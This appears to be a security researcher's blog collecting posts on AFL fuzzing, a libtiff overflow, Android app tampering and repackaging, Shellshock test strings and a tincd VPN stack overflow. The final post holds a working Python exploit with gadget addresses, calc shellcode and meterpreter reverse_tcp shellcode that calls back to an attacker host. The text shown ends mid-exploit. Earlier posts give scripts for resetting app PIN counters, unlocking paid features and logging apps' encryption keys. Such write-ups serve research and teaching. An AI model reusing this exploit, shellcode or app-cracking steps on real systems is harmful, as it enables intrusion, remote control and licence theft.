Introduction to American Fuzzy Lop (AFL) Powerpoint

On Monday I gave a presentation at Silicon Valley Fuzzers about howto use the AFL fuzzer (with very little preparation time) because coincidentally I was just around the corner (and they really wanted a speaker on the topic). Nothing new in there, just a short howto use AFL I hacked up, you can find it here.

PS: I know you all love Powerpoint

Edit: Due to popular demand, the presentation in PDF version. Note that you will miss the animated gif logo of AFL and the other animated gif. Next time, consider using online converter services if you don’t like the Powerpoint file format.

About the CVEs in libtiff 4.0.3

There has been a lot of afl fuzzing going on, a lot of image libraries were targeted, I also fuzzed some libraries, for example libtiff. I sent around 10 to 20 crash files for the different tools to the maintainer that seemed to be kind of unique crash cases, although I didn’t analyze a lot of the crashes in-depth. Others found similar issues and CVEs like CVE-2014-8129, CVE-2014-8128, CVE-2014-8127 and CVE-2014-9330 were assigned, additionally I got CVE-2014-9299.

Here’s one example that I analyzed a little bit more closely in libtiff version 4.0.3 (until this month the last stable). It’s one of the errors in the bmp2tiff command line tool. Here’s what happens when you run it with one of my crash files (bmp2tiff crash-file.bmp outfile.tiff).

First, width and length variables are read from the bmp file header. Then the needed memory for the uncompressed image is calculated and allocated (line 595 in bmp2tiff.c):

uncompr_size = width * length;
...
uncomprbuf = (unsigned char *)_TIFFmalloc(uncompr_size);

However, there is no check for an integer overflow. So in my example afl made a file that results in the following values (gdb output):

(gdb) p width
$70 = 65536
(gdb) p length
$71 = 65544
(gdb) p uncompr_size
$72 = 524288

Where 524289 is (65536 * 65544) % MAX_INT. However, later on the width and length is used to calculate offsets on the uncomprbuf buffer, which results in pointers that are far off (heap buffer overflow).

Although I didn’t check the entire code, I think this is not easily exploitable, as it can only be used to read (more or less) arbitrary memory regions and write them to the output file. While this might be interesting in scenarios where you look for memory leaks, I doubt that it’s useful in any realistic attack scenario. Drop me a comment if I’m wrong. So the fix was to check if an integer overflow occurs on line 595 in bmp2tiff.c, which is done in the new version according to the maintainer.

Take a second and think about how many projects are probably using libtiff.

Looking into another crash file with an arbitrary WRITE and turning it into a fully weaponized exploit is still on my TODO list… we’ll see.

cheers,
floyd

New year – Vallader app, fuzzing and advisories

Happy new year everybody,

As some of you know I’m learning a new language (Vallader Romansh) and because that language is only spoken by a few ten thousand people there is no dictionary Android app. So hey, here is a version I coded in half a day on github and on Google Play. I never took the time to improve it, so I thought I simply release it today (which took me another half a day). The app isn’t very stable, not well tested, but I guess better some app than no app at all. Send me pull requests ;)

Moreover, I’ve been fuzzing quiet a lot in the last few months and the results are crazy, thanks to AFL. I’m writing heap buffer overflow exploits and I hope I’ll write some more posts about it soon.

If you haven’t seen it, we’ve been releasing a few advisories in 2014.

Additionally, I just changed some settings on this page. You won’t be bothered with third party JavaScript includes on this domain anymore.

Metasploit tincd module officially released

It took a while to do PoC changes, port from python to ruby, port from ruby to a metasploit module, change the used library in ruby, divide into two files (a tincd protocol library and an exploit module), write ROP chains for x86 and ARM architecture, support various operating systems and make all the necessary changes to make ruby people happy. But it was really a good experience.

I’m happy to announce that my tincd buffer overflow module I wrote a while ago is now officially part of Metasploit.

Android app configuration manipulation

So you got an Android application and you would like to temper with its configuration files? Nothing easier than that as long as you have a rooted Android phone, a sqlite editor and a text editor.

I only wanted to temper with the databases of the app. I used this script (pull-databases.sh) to get the databases:

APP=com.example.theNameInYourAndroidManifest
TMP=/data/local/tmp
APP_UID=`adb shell dumpsys package $APP|grep userId=|cut -d " " -f 5|cut -d "=" -f 2`
#after first run, maybe hardcode, so you can also push files when Android is still starting up and before the app started:
#APP_UID=10000
echo "[+] Removing local folder"
rm -r ./$APP-databases
echo "[+] The applications UID and GID is:"
echo $APP_UID
echo "[+] Copying database to tmp dir"
adb shell "su -c cp -r /data/data/$APP/databases $TMP/$APP-databases"
echo "[+] chmoding tmp dir to 777"
adb shell "su -c chmod -R 777 $TMP/$APP-databases"
echo "[+] Pulling database"
adb pull $TMP/$APP-databases $APP-databases
echo "[+] Removing database in tmp"
adb shell "su -c rm -r $TMP/$APP-databases"

You might need to change the cut commands, as they might not work in every case. Then, to upload the databases back to the phone, use this script (push-databases.sh):

APP=com.example.theNameInYourAndroidManifest
TMP=/data/local/tmp
APP_UID=`adb shell dumpsys package $APP|grep userId=|cut -d " " -f 5|cut -d "=" -f 2`
#after first run, maybe hardcode, so you can also push files when Android is still starting up and before the app started:
#APP_UID=10000
echo "[+] The applications UID and GID is:"
echo $APP_UID
echo "[+] Pushing to tmp dir"
adb push $APP-databases $TMP/$APP-databases
echo "[+] Copying from tmp to app dir"
adb shell "su -c cp -pr $TMP/$APP-databases/* /data/data/$APP/databases/"
#cp -p  doesn't seem to preserver mode, but sets it to 666
echo "[+] chmoding app dir"
#attention: 777, easy way out, but databases might have different flags...
adb shell "su -c chmod -R 777 /data/data/$APP/databases"
adb shell "su -c chmod 771 /data/data/$APP/databases"
echo "[+] removing tmp database"
adb shell "su -c rm -r $TMP/$APP-databases"
#cp -p doesn't seem to preserve owner, but sets it to shell
echo "[+] chowning app dir"
adb shell "su -c chown $APP_UID.$APP_UID /data/data/$APP/databases"
adb shell "su -c chown $APP_UID.$APP_UID /data/data/$APP/databases/*"

If you want to get the entire configuration of the app, you can use this script (pull-all.sh):

APP=com.example.theNameInYourAndroidManifest
TMP=/data/local/tmp
APP_UID=`adb shell dumpsys package $APP|grep userId=|cut -d " " -f 5|cut -d "=" -f 2`
#after first run, maybe hardcode, so you can also push files when Android is still starting up and before the app started:
#APP_UID=10000
echo "[+] Removing local folder"
rm -r ./$APP
echo "[+] The applications UID and GID is:"
echo $APP_UID
echo "[+] Copying app dir to tmp dir"
adb shell "su -c cp -r /data/data/$APP $TMP/$APP"
echo "[+] chmoding tmp dir to 777"
adb shell "su -c chmod -R 777 $TMP/$APP"
echo "[+] Pulling app dir from tmp"
adb pull $TMP/$APP $APP
echo "[+] Removing app dir in tmp"
adb shell "su -c rm -r $TMP/$APP"

As I didn’t need to push the entire app configuration, I didn’t write a push-all.sh script. That could get messy with the permissions and I didn’t want to do a chmod 777. But of course you can do that if you like.

These simple scripts got me some really nice results during pentests. Activate apps that I only had in the free version. Reset the app’s PIN lock count. Disable ads showing in the application.

Shellshock fix – bash compiling for OSX

By now probably all of you heard of the shellshock vulnerability. Just as a small heads-up, I wasn’t able to compile the bash version 4.3 on Mac OSX as the last few patches simply don’t work for me. But here’s how you can compile, test and install version 4.2 on your OSX:

#adopted from an original post (that was deleted) from http://www.linus-neumann.de/2014/09/26/clean-your-mac-from-shellshock-by-updating-bash/

PATCH_COMMAND=patch
#No better results with gnu-patch from mac ports -> /opt/local/bin/gpatch


#VERSION_TO_COMPILE=4.1
#VERSION_TO_COMPILE_NO_DOT=41
#VERSION_NUMBER_OF_PATCHES=17

VERSION_TO_COMPILE=4.2
VERSION_TO_COMPILE_NO_DOT=42
VERSION_NUMBER_OF_PATCHES=53

#patches starting from 029 don't work for me in version 4.3
#VERSION_TO_COMPILE=4.3
#VERSION_TO_COMPILE_NO_DOT=43
#VERSION_NUMBER_OF_PATCHES=30


echo "* Downloading bash source code"
wget --quiet http://ftpmirror.gnu.org/bash/bash-$VERSION_TO_COMPILE.tar.gz
tar xzf bash-$VERSION_TO_COMPILE.tar.gz 
cd bash-$VERSION_TO_COMPILE

echo "* Downloading and applying all patches"
for i in $(seq -f "%03g" 1 $VERSION_NUMBER_OF_PATCHES); do
   echo "Downloading and applying patch number $i for bash-$VERSION_TO_COMPILE"
   wget --quiet http://ftp.gnu.org/pub/gnu/bash/bash-$VERSION_TO_COMPILE-patches/bash$VERSION_TO_COMPILE_NO_DOT-$i
   $PATCH_COMMAND -p0 < bash$VERSION_TO_COMPILE_NO_DOT-$i
   #sleep 0.5
done

echo "* configuring and building bash binary"
sleep 1
./configure
make

echo "* writing bash test script"
#The following script will only work when your cwd has the bash binary,
#so you can execute ./bash
#mostly taken from shellshocker.net:
cat << EOF > /tmp/tmp-bash-test-file.sh
    #CVE-2014-6271
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    env x='() { :;}; echo vulnerable' ./bash -c "echo no worries so far"
    #CVE-2014-7169
    echo "* If the following lines print the actual date rather than the string 'date' you are vulnerable:"
    env X='() { ()=>\' ./bash -c "echo date"; cat echo;
    #unknown
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    env X=' () { }; echo vulnerable' ./bash -c 'echo no worries so far'
    #CVE-2014-7186
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    ./bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "vulnerable CVE-2014-7186 , redir_stack"
    #CVE-2014-7187
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | ./bash || echo "vulnerable CVE-2014-7187 , word_lineno"
    #CVE-2014-6278
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    shellshocker='() { echo vulnerable; }' ./bash -c shellshocker
    #CVE-2014-6277
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    ./bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable
    #more tests, probably often testing the same as above, but better safe than sorry
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    env X='() { _; } >_[$($())] { echo vulnerable; }' ./bash -c : 
    echo "* If the following lines contain the word 'vulnerable' your bash is not fixed:"
    foo='() { echo vulnerable; }' ./bash -c foo
EOF

echo ""
echo "* Starting a new bash process to check for vulnerabilities"
echo ""
sleep 1
./bash /tmp/tmp-bash-test-file.sh

echo ""
echo "* If the compiled bash binary is not vulnerable, you want to install that binary in your system:"
echo "cd bash-$VERSION_TO_COMPILE"
echo "sudo make install"
echo "sudo mv /bin/bash /bin/old_vulnerable_bash && sudo ln /usr/local/bin/bash /bin/bash"

cheers,
floyd

Android app disassembling, modification and reassembling

This is actually nothing very new, but what probably a lot of people do for a long time already. You can use this technique to do security reviews, to crack license mechanisms of apps, check how easy it is to modify your own app or do malware research. I’m not saying you should or shouldn’t do any of these. As usually tested on Mac OSX only but should work on Linux or other Unix, too.

You need the following folder structure (or simply download the Android-app-disassembling-reassembling.zip):

  • Folder called “apks-to-process”
  • Folder called “external-tools”
  • File “disassemble.sh” (see below)
  • File “reassemble.sh” (see below)
  • In the “external-tools” put the apktool.jar
  • In the “apks-to-process” folder put your Android app apk file

After you run the disassemble.sh file you find the smali code for your app in the “outputs/smali-output” directory. Now you can change the app as you like. Here are three suggestions:

  • I recommend to add the android:debuggable=”true” attribute in the AndroidManifest.xml to your application tag. Afterwards you will be able to see the log messages of the application in logcat (“adb logcat” command when your phone is connected via USB).
  • Replace one of the png files in the ressources folder
  • If your application is making a new instance of a SecreKeySpec for encryption (something like “new-instance v1, Ljavax/crypto/spec/SecretKeySpec” in smali, grep for it), try to dump the contents of the secret key. That’s pretty easy with IGLogger. Download the IGLogger files and put the iglogger.smali file in the folder “outputs/smali-output/<you app’s name>/smali/”. Then open the file where you found the SecreKeySpec intialisation. Add a new instruction after the invoke-direct line which will initialize the SecretKeySpec (e.g. “invoke-direct {v4, v5, v6}, Ljavax/crypto/spec/SecretKeySpec;->([BLjava/lang/String;)V”). This is the place where the secret key is passed to the SecretKeySpec constructor. As we know that the first argument is the secret key, we have to log the Dalvik VM’s register v4. Add “invoke-static {v4}, Liglogger;->d([B)I” after the initialisation statement.

After you have done all your modifications, run reassemble.sh. There will be an apk file you can install on your device (see the last message that reassemble.sh will print). If you have added IGLogger, you will see a line in logcat that prints the secret key (for example run “adb logcat|grep -i IGLogger”).

Happy hacking
floyd

Here’s the disassemble.sh that will disassemble your apk file to smali code:

#!/bin/bash
ORGWD=`pwd`

#Configurable Parameters
APKLOCATION=$ORGWD/apks-to-process #where the APK files are stored that should be processed

#Disassembling
SMALI_TARGET=$ORGWD/outputs/smali-output #Where to save the results
APKTOOLSTART="java -jar $ORGWD/external-tools/apktool.jar" #The apktool

########
#Normally you should not need to change anything below here
########

#Look for the files to dissassemble
cd $APKLOCATION
FILES=`ls *.apk`

if [ -e $SMALI_TARGET ]
then
    echo "[ERROR] Please delete/rename $SMALI_TARGET folder first!"
    exit
else
    mkdir $SMALI_TARGET
fi

for f in $FILES
do
  echo "[INFO] Disassembling $f"  
  $APKTOOLSTART d $f $SMALI_TARGET/$f
done

cd $ORGWD

Here’s the reassemble.sh code that will reassemble your app to a signed and ready to be installed Android app apk file:

#!/bin/bash
ORGWD=`pwd`

#Configurable Parameters
APKLOCATION="$ORGWD/outputs/faked-apks" #where the APK files will be stored that should be produced

#Reassembling
SMALI_TARGET="$ORGWD/outputs/smali-output" #Where to get the apps to reassemble
APKTOOLSTART="java -jar $ORGWD/external-tools/apktool.jar" #The apktool

########
#Normally you should not need to change anything below here
########

#Look for the files to dissassemble
cd "$SMALI_TARGET"
FILES=`ls`

if [ -e "$APKLOCATION" ]
then
    echo "[ERROR] Please delete/rename $APKLOCATION folder first!"
    exit
else
    mkdir "$APKLOCATION"
fi

for f in $FILES
do
  echo "[INFO] Reassembling $f"  
  $APKTOOLSTART b "$SMALI_TARGET/$f" "$APKLOCATION/$f"
  if [ ! -f "$APKLOCATION/someone.keystore" ]
  then
    keytool -genkey -noprompt -dname "CN=example.ch, OU=floydsReassembling, O=example, L=example, S=example, C=CH" -storepass password -keypass password -alias someone -validity 100000 -keystore "$APKLOCATION/someone.keystore" -keyalg RSA -keysize 2048
  fi
  jarsigner -verbose -storepass password -keypass password -sigalg SHA1withRSA -digestalg SHA1 -keystore "$APKLOCATION/someone.keystore" "$APKLOCATION/$f" someone
  mv "$APKLOCATION/$f" "$APKLOCATION/$f.unaligned"
  zipalign -v 4 "$APKLOCATION/$f.unaligned" "$APKLOCATION/$f"
done

echo "TODO:"
echo "adb install \"$APKLOCATION/$f\""

cd "$ORGWD"

mona codealign

I’m happy to announce that the unicode code alignment feature mentioned in another post made it into the main corelan mona repository. As usual, mona can be downloaded from the official mona redmine. Usage:

Generates a venetian shellcode alignment stub which can be placed directly before unicode shellcode.

Arguments:
    -a <address>      : Specify the address where the alignment code will start/be placed
Optional arguments:
    -l                : Prepend alignment with a null byte compensating nop equivalent
                        (Use this if the last instruction before the alignment routine 'leaks' a null byte)
    -b <reg>          : Set the bufferregister, defaults to eax
    -t <seconds>      : Time in seconds to run heuristics (defaults to 15)
    -ebp <value>      : Overrule the use of the 'current' value of ebp, 
                        ebp/address will be used to calculate offset to shellcode

Instead of “!mona unicodealign” you can use the short version “!mona ua”. Here’s a short video on how the new feature can be used:

Watch the video on Vimeo

Although I used the -a argument, if your EIP is already at the correct position (as in the video) you can simply run “!mona ua” without any arguments.

Tincd Metasploit module and exploit development

A friend of mine wrote a Proof of Concept exploit for the tincd server (a VPN software) for authenticated peers (post-auth), the original blog post about it can be found here. I turned the PoC crash into a weaponized exploit for Windows XP, Windows 7 and FreeBSD. I think very often the exploits on exploit-db.com do not contain a lot of information to reproduce the exploit development and a lot of “reversing” of “some hex bytes” is necessary to fully understand it. Therefore I provide several more detailed scripts in different programming languages with comments here. The vulnerability/my exploit/the software has the following characteristics:

  • No DEP, ASLR or other security mechanisms for the three OS. It’s the same setup file for both Windows (tinc-1.1pre6-install.exe). FreeBSD is compiled from the ports.
  • memcpy_chk protection introduced by gcc for Ubuntu. Seems to be non-exploitable (pretty sure it’s the same for Debian). gcc can easily do that because the buffer size is known at compile time.
  • Straight forward (memcpy) saved return pointer overwrite.
  • The second value on the stack when EIP is overwritten is a pointer to the start of our payload. Convenient.

I authored the exploiting part and changed the logic part to remove some issues. First, I wrote everything in python. Second, ported the entire thing to ruby with eventmachine. Then I decided to port the thing to metasploit and removed the eventmachine dependency. At that point I decided that improvements regarding reliability were necessary. The Metasploit module works for every of my test machines on the first try.

Ok, so everybody who just wants to see the outcome, go to my github page and download it. I also made a pull request and after some feedback it should end up in Metasploit (so maybe just check your Metasploit installation).

For everyone more interested in the “how”, the python script and the ruby script at the end of this post. The scripts are not as reliable, flexible, advanced, maintained and convenient as the Metasploit module. But they should provide everybody with enough information on how to exploit such a buffer overflow vulnerability.

Right now I’m writing the ROP chain for the exploitation on Fedora 19 (has NX enabled). Interesting and I’m already executing code, but not release ready yet. I hope I’ll be able to update the Metasploit module. There are so many other combinations that would be interesting too (ARM, x64, systems with ASLR…)

Happy hacking!

#!/usr/bin/env python

"""
Author of exploitation part (all platforms), changes to the original PoC crash for reliability, port from python to ruby, metasploit module: floyd <floyd at floyd dot ch>
Original PoC Author, finding: Martin Schobert <schobert at sitsec dot net>

Windows XP&7: The PoC now consists of two shellcodes, calc for XP and meterpreter for Windows 7 to 192.168.56.1:4444
That means now it's weaponized. Only tested on XP and Windows 7 with tinc-1.1pre6.

Ubuntu: A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
the bug is in a fixed size (MAXSIZE) struct member variable. Therefore the size of the destination is known 
at compile time. gcc is introducing a call to __memcpy_chk:

http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c

memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print 
*** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 (Jun 29 2012 14:10:44) 
which can be installed from the repository. It might be exploitable for versions compiled with an older version of gcc.
memcpy_chk seems to be in gcc since 2005: 

http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c


http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088

FreeBSD: Exploitable, of course other eip for pop#ret, but same eip offset, tested under FreeBSD 9.1-RELEASE #0, tested with tinc version 1.0.19
from the ports.

<original comment PoC>

Unweaponized proof of concept code to demonstrate a vulnerability in the
tinc VPN software. This PoC was tested against tinc version 1.1-pre6 and
1.0.19.

http://www.sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/

Author: Martin Schobert <schobert at sitsec dot net>
</original comment PoC>

July 2013, floyd <floyd at floyd dot ch> @floyd_ch
"""

import socket
import sys
import re
import os
import binascii
from Crypto.PublicKey import RSA
from Crypto.Cipher import Blowfish
from Crypto.Hash import SHA
from struct import pack
import asyncore

#
# config part
#

# host and port to attack
TCP_IP = '192.168.56.102'
TCP_PORT = 655

# The server's public key (usually from C:\Program Files\tinc\hosts\ or /usr/local/etc/tinc/testnet/hosts/ ,
# but with the config stuff removed)
server_public_key_file = 'rsa_key.pub'

# The client's private key
client_private_key_file = 'rsa_key.priv'

#target OS
target = "freebsd" #winxp (calc.exe), win7 (meterpreter/reverse_tcp lhost=192.168.56.1), freebsd (bsd/x86/shell_bind_tcp)



#
#Exploitation part WINDOWS (can be used to see Ubuntu __memcpy_chk)
#
#From original PoC
length = 1682
payload_winxp = "A"*length
#C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
#!mona config -set workingfolder c:\logs\%p
#!mona pc 1682
#from C:\logs\tincd\pattern
cyclic = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce"
payload_winxp = cyclic
#!mona findmsp
#--> EIP overwritten with normal pattern : 0x64433864 (offset 1675)
offset = 1675
payload_winxp = "A"*offset + "BCDE"
#looks like second value on stack is pointing into our payload...
payload_winxp = "ABCD"+"E"*(offset-4)+"BCDE"
#removed \n from "\n"+payload in logic below from the original PoC
#so of course now we have to adjust everything we did until now:
length = 1683
offset = 1676 #original poc-offset is probably 1683 now
#search for pop; ret;
#!mona findwild -type instr -s "pop r32#ret"
#--> found 14739 pointers... so let's be very picky today:
#!mona findwild -n -cp asciiprint -type instr -s "pop r32#ret"
#--> found 348 pointers. e.g.
#0x662c4d71 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d3e7d : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662d6e5e : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
#0x662e1522 : pop ebp # retn 10 | asciiprint,ascii {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
eip = "qM,f" #"\x71\x4d\x2c\x66"
#This was just "nice to look at", but maybe it would be better to find a os-independent pointer, so we could use it for all os
#!mona findwild -o -type instr -s "pop r32#ret"
#--> found 4049 pointers. e.g.
#0x004fbd0e : pop esi # retf | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x004a0293 : pop ecx # retf 4 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00467de4 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x00480990 : pop ebx # retn 3956 | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9c3 : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0051a9cb : pop esi # retf 0bc3b | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#0x0041caa6 : pop eax # retn | startnull {PAGE_EXECUTE_READ} [tincd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\tinc\tincd.exe)
#eip = "\x0e\xbd\x4f\x00" #Nope! Access violation when reading [FFFFFFFF]
#eip = "\xe4\x7d\x46\x00" #Nope! Access violation when writing to [00232B7A]
eip = "\xa6\xca\x41\x00" #works fine on XP and on Windows 7
payload_winxp = "\xcc"*offset+eip #cc for int3
#works fine, our breakpoints get hit
calc_for_xp = ("\x31\xC9"
        "\x51"
        "\x68\x63\x61\x6C\x63"
        "\x54"  
        "\xB8\xC7\x93\xC2\x77" #  this one is not really reliable, it's: MOV EAX, msvcrt.system hard coded
        "\xFF\xD0")
shellcode = calc_for_xp
payload_winxp = shellcode+"\x90"*(offset-len(shellcode))+eip



#$ ./msfvenom -p windows/meterpreter/reverse_tcp exitfunc=thread lhost=192.168.56.1 -f c
meterpreter_win7 = (
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\xc0\xa8\x38\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3")
shellcode = meterpreter_win7
payload_win7 = shellcode+"\x90"*(offset-len(shellcode))+eip


#
#Exploitation part FREEBSD
#
#Using the windows exploit, we see that again, our eip gets executed (same offset as windows!),
#this means it's vulnerable. Used the version from ports, tinc version 1.0.19 
#(built Apr 11 2013 16:50:07, protocol 17)
#
#Reusing: offset = 1676
